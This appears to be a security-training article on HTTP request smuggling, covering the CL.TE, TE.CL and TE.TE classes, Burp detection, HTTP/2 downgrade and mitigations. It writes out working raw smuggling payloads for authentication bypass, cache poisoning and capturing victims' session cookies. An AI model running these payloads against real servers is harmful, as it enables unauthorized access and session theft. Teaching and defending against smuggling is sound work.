Quick answer
HTTP Request Smuggling happens when a proxy (frontend) and the backend server interpret the same HTTP request differently due to differences in how they process Content-Length and Transfer-Encoding. The attacker "smuggles" a second request inside the first one, which the backend processes as if it came from another client. Vectors: auth/WAF bypass, cache poisoning, stealing victim cookies, persistent XSS.
The three classes
| Class | Frontend uses | Backend uses | Characteristic |
|---|---|---|---|
| CL.TE | Content-Length | Transfer-Encoding | Frontend honors CL, backend honors TE |
| TE.CL | Transfer-Encoding | Content-Length | Frontend honors TE, backend honors CL |
| TE.TE | Transfer-Encoding | Transfer-Encoding (with obfuscation) | Both honor TE but one "breaks" with a malformed header |
CL.TE explained
POST / HTTP/1.1
Host: target.tld
Content-Length: 13
Transfer-Encoding: chunked
0
SMUGGLED
- Frontend reads
Content-Length: 13→ the body is 13 bytes (0\r\n\r\nSMUGGLED). It forwards those 13 bytes to the backend. - Backend reads
Transfer-Encoding: chunked→ the body ends at0\r\n\r\n. It processes only0\r\n\r\nas request 1. The "SMUGGLED" stays in the backend's buffer as the start of the next request.
The next legitimate request from any victim is concatenated with SMUGGLED, forming a "nested" request that the backend processes as if the victim had sent it.
TE.CL explained
POST / HTTP/1.1
Host: target.tld
Content-Length: 3
Transfer-Encoding: chunked
8
SMUGGLED
0
- Frontend processes TE → the full body is
8\r\nSMUGGLED\r\n0\r\n\r\n. It forwards everything. - Backend processes CL → the body is only 3 bytes (
8\r\n). The rest stays in the buffer.
The "SMUGGLED" waits to be concatenated with the next legitimate request.
TE.TE — Transfer-Encoding obfuscation
Both honor TE, but a malformed variant makes one of them ignore it:
Transfer-Encoding: chunked
Transfer-Encoding: x
POST / HTTP/1.1
Host: target.tld
Content-Length: 3
Transfer-Encoding: chunked
Transfer-encoding: chunked
Transfer-Encoding : chunked
TRANSFER-Encoding: chunked
Transfer-Encoding:chunked
Variants:
- Space before the
:(Apache ignores it, others don't). - Mixed casing (some parsers normalize, others don't).
- Multiple TE headers (some take the first, others the last).
- No space after the
:.
If the frontend accepts Transfer-Encoding: chunked but the backend rejects it over some detail, you're back to CL.TE. And vice versa.
Detection with Burp
# Burp Suite has built-in HTTP Request Smuggler extension
# Manual con Burp Repeater:
POST / HTTP/1.1
Host: target.tld
Content-Length: 4
Transfer-Encoding: chunked
1
A
0
If it responds 200 → CL.TE (the backend processed only the valid chunk). If it responds 400 / timeout → something else.
Time-based detection if the response doesn't change:
POST / HTTP/1.1
Host: target.tld
Content-Length: 4
Transfer-Encoding: chunked
1
A
X
CL.TE: the backend waits for more data (5-10s timeout). CL/CL: the backend processes instantly.
Typical impacts
1. WAF / auth bypass in headers
POST /benign HTTP/1.1
Host: target.tld
Content-Length: 200
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: target.tld
X-Bypass-Auth: yes
Foo: bar
The WAF/proxy sees /benign and passes it. The backend processes the smuggled /admin with the added X-Bypass-Auth: yes header, which is only valid if it comes from an internal IP (which the attacker doesn't have). But since the smuggled request "comes from the proxy" (which is internal), the header passes.
2. Cache poisoning
POST / HTTP/1.1
Host: target.tld
Content-Length: 200
Transfer-Encoding: chunked
0
GET /home HTTP/1.1
Host: target.tld
X-Original-Url: /admin/dashboard
If the backend has an endpoint that processes X-Original-Url, the admin dashboard response is cached in the CDN under the URL /home. Any visitor to /home sees the dashboard.
3. Stealing victim cookies
Smuggled request that logs the headers that arrive:
POST /reflect-headers HTTP/1.1
Host: target.tld
Content-Length: 200
Transfer-Encoding: chunked
0
GET /api/log-headers HTTP/1.1
Host: target.tld
Foo: bar
When a legitimate victim sends their next request, their headers (including Cookie: session=...) get concatenated with the smuggled one. The backend sees a "victim-augmented" request and logs them. The attacker captures them.
Special case: redirect the victim to an attacker-owned endpoint where their cookies are logged into a public log.
4. Persistent "victim-aware" stored XSS
The smuggled request POSTs malicious HTML that gets stored in the victim's context.
Vulnerable versions and contexts
- AWS ALB / Classic ELB old versions (patched).
- HAProxy versions with specific bugs.
- Cloudflare has had TE.TE cases.
- Akamai legacy.
- Custom proxies poorly implemented are the most common in bug bounty.
Every provider that publishes patches → public research to identify affected versions.
Advanced detection — HTTP/2 downgrade
HTTP/2 → HTTP/1.1 downgrade at the proxy reopens vectors. HTTP/2 separates headers per field, there's no ambiguity. But when downgrading to HTTP/1.1 for the backend, the proxy recombines headers. If it combines them wrong:
HTTP/2 with header: x-foo: bar\r\nContent-Length: 0
Downgrade to HTTP/1.1:
x-foo: bar
Content-Length: 0
[more headers...]
[body]
CRLF injection via HTTP/2 headers → full-blown smuggling.
Tooling
- Burp Suite HTTP Request Smuggler extension (free, automates detection).
- smuggler.py (defparam's Python script).
- h2cSmuggler for HTTP/2 → 1.1 downgrades.
Hunting checklist
- Is there a reverse proxy / CDN in front of the backend? (likely if it's a SaaS app).
- Is the response of a POST with
Transfer-Encoding: chunkedcoherent? - With both
Content-LengthandTransfer-Encodingsent, which one does each layer honor? - Does time-based detection show a timeout on CL.TE?
- Try obfuscated TE headers (spaces, casing, doubles)?
- Is there an HTTP/2 → 1.1 downgrade at the proxy?
- Is the cache affected by smuggled requests?
Correct mitigation
- HTTP/2 end-to-end without downgrade.
- Same HTTP parser in frontend and backend (e.g., nginx + nginx, not nginx + custom Node.js).
- Reject requests with both
Content-LengthandTransfer-Encoding. - Strict header parsing that normalizes pre-forward.
- Mandatory
http_version 1.1on the backend if there's an HTTP/1.0 frontend. - WAF rules specific to detecting smuggling patterns.
Related labs
Practice CL.TE, TE.CL, TE.TE and cache poisoning via smuggling: HTTP Smuggling labs.
Practice this in a lab
Http Smuggling
Keep learning · free account
Save your progress, unlock advanced payloads and rank your flags.
Related articles
HTTP request smuggling — H2→H1 desync, TE.CL, CL.TE and H2.CL in 2026
An updated catalog of HTTP smuggling: classic CL.TE, TE.CL, H2→H1 downgrade desyncs, HTTP/2 SETTINGS frame abuse, chunked extensions and HTTP/2 pseudo-headers.
Cloudflare WAF Bypass — oversized body, header stuffing and cache poisoning
Cloudflare's WAF has per-plan inspection limits (~8KB Free, 128KB Enterprise). Padding bypass, header stuffing >100 headers, IP origin disclosure.